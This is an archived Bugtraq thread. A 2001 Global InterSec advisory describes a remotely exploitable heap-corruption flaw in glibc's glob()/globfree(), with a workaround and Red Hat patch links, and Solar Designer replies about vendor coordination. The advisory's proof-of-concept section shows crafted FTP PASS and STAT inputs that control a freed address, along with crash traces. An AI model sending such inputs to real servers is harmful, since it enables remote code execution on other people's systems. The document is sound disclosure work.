7686871 2001-12-17 19:06 -0800 /277 rader/ Tom Parker <tom@rooted.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-12-17 22:24 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: research@globalintersec.com
Mottagare: Bugtraq (import) <20185>
Ärende: [Global InterSec 2001121001] glibc globbing issues.
------------------------------------------------------------
From: "Tom Parker" <tom@rooted.net>
To: <bugtraq@securityfocus.com>
Cc: <research@globalintersec.com>
Message-ID: <04fb01c18771$12095420$0b01a8c0@tomh61ib59mm58>
Global InterSec LLC
http://www.globalintersec.com
GIS Advisory ID: 2001121001
Changed: 12/12/2001
Author: tom.parker@globalintersec.com
Reference: http://www.globalintersec.com/adv/glibc-glob-2001121001.txt
Note:
The release of this advisory has been earlier than first planned
due to RedHats release of information regarding this vulnerability.
Redhat are not to blame this time around. However better
vendor/researcher coordination is called for.
Summary:
glibc contains a globbing error which may be remotely
exploitable when glob functions are used in software
such as ftp daemons.
Impact:
A remote attacker may execute arbitrary commands via heap corruption.
Description:
The glibc glob() function allows programs to search
for path names matching specific patterns according
the rules used by the shell. Glibc also implements
the globfree() function which free()'s memory used
earlier by other glob() matches.
The glob function itself may encounter errors when
handling strings ending with the "{"(0x7b)character.
This is due to next_brace_sub() which could cause
glob to read memory pages it shouldn't be, eventually
causing the program to exit (Normally with SEGV)..
Note: The vulnerability described in CA-2001-33 with
Washington Universities ftpd was not due to errors in
glibc glob - but their own implementation of this
function.
Previous discussions on bugtraq and other mailing
lists ruled this bug as not exploitable.
This is not entirely true.
Global Intersec has since discovered a condition
under which the bug may be used to exploit this
vulnerability.
This is dependant on the program in question using
the globfree() function, also defined in glibc glob.c
(sysdeps/generic/glob.c). An example of this would
be the OpenBSD ftpd Linux port.
By carefully crafting user input to such daemons it
is possible to corrupt memory space of the process.
Ultimately the result of this would be an ability to
execute arbitrary commands with the privileges of the
server process. This is often root(0).
Scope for attack:
For this bug to be exploitable the attacker must be able
to cause a daemon to call glob matching functions via
services which allow either anonymous/public access or
which may require authentication. This includes ftp
daemons.
Work around:
The scope for your systems being targeted to this form of
attack can be reduced by disabling remotely accessible
daemons which use the functions in question. These include
the OpenBSD ftpd Linux port.
It is also suggested that removal of any public access to
such daemons is removed until vendor fixes have been applied.
Credit:
The glob bug was originally bought to light on several
mailing lists, but was ruled out as not being exploitable.
These include posts by flaviovs@magnux.com who later
concluded the bug was exploitable.
Tom Parker from Global InterSec has discovered ways in
which these bugs can be exploited when used in conjunction
with globfree().
Many thanks go to SuSE GmbH who have worked with GIS to
release the information described in this advisory on a mutually
appropriate date.
Vendor Solutions:
Red Hat have released the following series of packages which
fix the glibc issues. Other vendors are yet to release official
packages due to a lack of preparation time. As vendors release
their own updates, this document will be updated and can be viewed
at the "Reference" location posted at the top of this document.
Red Hat Linux 6.2:
SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/glibc-2.1.3-23.src.rpm
alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/glibc-2.1.3-23.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/glibc-devel-2.1.3-23.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/glibc-profile-2.1.3-23.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/nscd-2.1.3-23.alpha.rpm
i386:
ftp://updates.redhat.com/6.2/en/os/i386/glibc-2.1.3-23.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/glibc-devel-2.1.3-23.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/glibc-profile-2.1.3-23.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/nscd-2.1.3-23.i386.rpm
sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/glibc-2.1.3-23.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/glibc-devel-2.1.3-23.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/glibc-profile-2.1.3-23.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/nscd-2.1.3-23.sparc.rpm
sparcv9:
ftp://updates.redhat.com/6.2/en/os/sparcv9/glibc-2.1.3-23.sparcv9.rpm
Red Hat Linux 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/glibc-2.2.4-18.7.0.3.src.rpm
alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/glibc-2.2.4-18.7.0.3.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/glibc-devel-2.2.4-18.7.0.3.alpha.rp
m
ftp://updates.redhat.com/7.0/en/os/alpha/glibc-profile-2.2.4-18.7.0.3.alpha.
rpm
ftp://updates.redhat.com/7.0/en/os/alpha/glibc-common-2.2.4-18.7.0.3.alpha.r
pm
ftp://updates.redhat.com/7.0/en/os/alpha/nscd-2.2.4-18.7.0.3.alpha.rpm
alphaev6:
ftp://updates.redhat.com/7.0/en/os/alphaev6/glibc-2.2.4-18.7.0.3.alphaev6.rp
m
i386:
ftp://updates.redhat.com/7.0/en/os/i386/glibc-2.2.4-18.7.0.3.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/glibc-devel-2.2.4-18.7.0.3.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/glibc-profile-2.2.4-18.7.0.3.i386.rp
m
ftp://updates.redhat.com/7.0/en/os/i386/glibc-common-2.2.4-18.7.0.3.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/nscd-2.2.4-18.7.0.3.i386.rpm
i686:
ftp://updates.redhat.com/7.0/en/os/i686/glibc-2.2.4-18.7.0.3.i686.rpm
Red Hat Linux 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/glibc-2.2.4-19.3.src.rpm
alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/glibc-2.2.4-19.3.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/glibc-devel-2.2.4-19.3.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/glibc-profile-2.2.4-19.3.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/glibc-common-2.2.4-19.3.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/nscd-2.2.4-19.3.alpha.rpm
alphaev6:
ftp://updates.redhat.com/7.1/en/os/alphaev6/glibc-2.2.4-19.3.alphaev6.rpm
i386:
ftp://updates.redhat.com/7.1/en/os/i386/glibc-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/glibc-devel-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/glibc-profile-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/glibc-common-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/nscd-2.2.4-19.3.i386.rpm
i686:
ftp://updates.redhat.com/7.1/en/os/i686/glibc-2.2.4-19.3.i686.rpm
ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/glibc-2.2.4-19.3.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/glibc-devel-2.2.4-19.3.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/glibc-profile-2.2.4-19.3.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/glibc-common-2.2.4-19.3.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/nscd-2.2.4-19.3.ia64.rpm
Red Hat Linux 7.2:
SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/glibc-2.2.4-19.3.src.rpm
i386:
ftp://updates.redhat.com/7.2/en/os/i386/glibc-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/glibc-devel-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/glibc-profile-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/glibc-common-2.2.4-19.3.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nscd-2.2.4-19.3.i386.rpm
i686:
ftp://updates.redhat.com/7.2/en/os/i686/glibc-2.2.4-19.3.i686.rpm.
Exploits (Proof of concept):
For the purposes of proving a concept we will now
refer to use of these functions in the OpenBSD ftp
daemon - ported to Linux by David Madore.
As we have recently seen in the Washington University
ftp daemon, free() based vulnerabilities are readily
exploitable. In the case of the OpenBSD ftpd we must
ensure that globfree() is called to make any use of
the glob vulnerabilities.
Note: OpenBSD itself is not vulnerable to this form of
attack due to the way in which it handles memory pages.
By forcing globfree() to be called _before_ the next_brace_sub
condition occurs it is possible to control the address
which is free()'d. In our first example we insert an invalid
address onto the stack, causing the program to SEGV.
: 220 localhost FTP server (Version 6.5/OpenBSD, linux port 0.3.3)
ready.
-> USER ftp
: 331 Guest login ok, type your name as password.
Sleeping for 10 seconds...
-> PASS AAAAAAAAAAAAAAAAAAA\xef\xef\xbe\xad\xde # ( <19 Bytes> <Addr to
write> <Glob char>)
: 230 Guest login ok, access restrictions apply.
-> STAT ~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{
#0 0x400f7968 in globfree () at ../sysdeps/generic/glob.c:1055
#1 0x8051b0b in yyparse () at ftpcmd.y:1138
# 2 0x804b455 in main (argc=3D1094795585, argv=3D0xbffff864,
envp=3D0xbffff86c) at ftpd.c:715
Examination of the registers shows that we have successfully
inserted the intended address. As the address is not valid the ftp
daemon seg faults.
<snip>
esi 0xdeadbeef -559038737
edi 0xdeadbeef -559038737
</snip>
On giving the ftp daemon a valid address to free (In this case a
pointer to syslog()) the daemon will continue to free() the address
we gave it # where it again will segfault due to the address we
gave it not being a valid malloc chunk.
#0 0x400c6178 in free () at malloc.c:2952
#1 0x400f7989 in globfree () at ../sysdeps/generic/glob.c:1055
#2 0x8051b0b in yyparse () at ftpcmd.y:1138
#3 0x804b455 in main (argc=3D1094795585, argv=3D0xbffff864,
envp=3D0xbffff86c) at ftpd.c:715
ie (SuSE glibc-2.2/sysdeps/generic/glob.c):
glob.c:1097 if (pglob->gl_pathv[pglob->gl_offs + i] != NULL)
glob.c:1098 free ((__ptr_t) pglob->gl_pathv[pglob->gl_offs + i]);
glob.c:1099 free ((__ptr_t) pglob->gl_pathv);
Information on exploiting this form of vulnerability are available
at http://www.phrack.org/show.php?p=57&a=9
Legal:
This advisory is the intellectual property of Global InterSec LLC
but may be freely distributed with the conditions that:
a) no fee is charged and b) appropriate credit is given.
(c) Global InterSec LLC 2001
(7686871) /Tom Parker <tom@rooted.net>/---(Ombruten)
Kommentar i text 7688479 av Hedda (Latar sig genom julhelvetet)
Kommentar i text 7709419 av Solar Designer <solar@openwall.com>
Kommentar i text 7710063 av iocc . Peter Magnusson (Balrog)
7709419 2001-12-21 05:52 +0300 /50 rader/ Solar Designer <solar@openwall.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-12-21 21:27 av Brevbäraren
Extern mottagare: Tom Parker <tom@rooted.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: research@globalintersec.com
Mottagare: Bugtraq (import) <20257>
Kommentar till text 7686871 av Tom Parker <tom@rooted.net>
Ärende: Re: [Global InterSec 2001121001] glibc globbing issues.
------------------------------------------------------------
From: Solar Designer <solar@openwall.com>
To: Tom Parker <tom@rooted.net>
Cc: bugtraq@securityfocus.com, research@globalintersec.com
Message-ID: <20011221055239.B32509@openwall.com>
On Mon, Dec 17, 2001 at 07:06:30PM -0800, Tom Parker wrote:
> Vendor Solutions:
>
> Red Hat have released the following series of packages which
> fix the glibc issues. Other vendors are yet to release official
> packages due to a lack of preparation time.
This isn't exactly the case. The only lack of time was to make sure
"your" vulnerability is the same as the one vendors were already
working on fixing. Yes, this could have been avoided if one vendor
(and it's not Red Hat) propagated your report to others.
This also explains why update announcements started falling in here
almost immediately after Red Hat's.
We (Openwall GNU/*/Linux) had this fixed for both Owl-current and Owl
0.1-stable on 2001/12/14. I'd like to use this opportunity to remind
Bugtraq readers that currently we don't "spam" the list with security
update announcements. Instead, there're the system-wide change logs
where any security fixes are marked specially, --
http://www.openwall.com/Owl/CHANGES.shtml
http://www.openwall.com/Owl/CHANGES-stable.shtml
Only really critical security fixes will also be announced to Bugtraq.
So far, during the 7 months since Owl went public, there have been no
privilege escalation holes (both remote and local) which could be
exploited in an active attack(*) and affected the default install(**).
(*) Of course, root may run gnupg with the format string vulnerability
on untrusted input and there's the problem. Yes, there were "passive"
vulnerabilities like that fixed during this time, -- all documented as
such in the change logs above.
(**) There were a few affecting non-default but supported installs of
Owl, with no third-party software installed. The exhaustive list is:
Linux 2.2.19 kernel bugs (if newgrp(1) is enabled), xinetd (if ident
lookups are enabled), OpenSSH (authorized_keys2 "from=", UseLogin).
All of these have been on Bugtraq.
--
/sd
(7709419) /Solar Designer <solar@openwall.com>/-----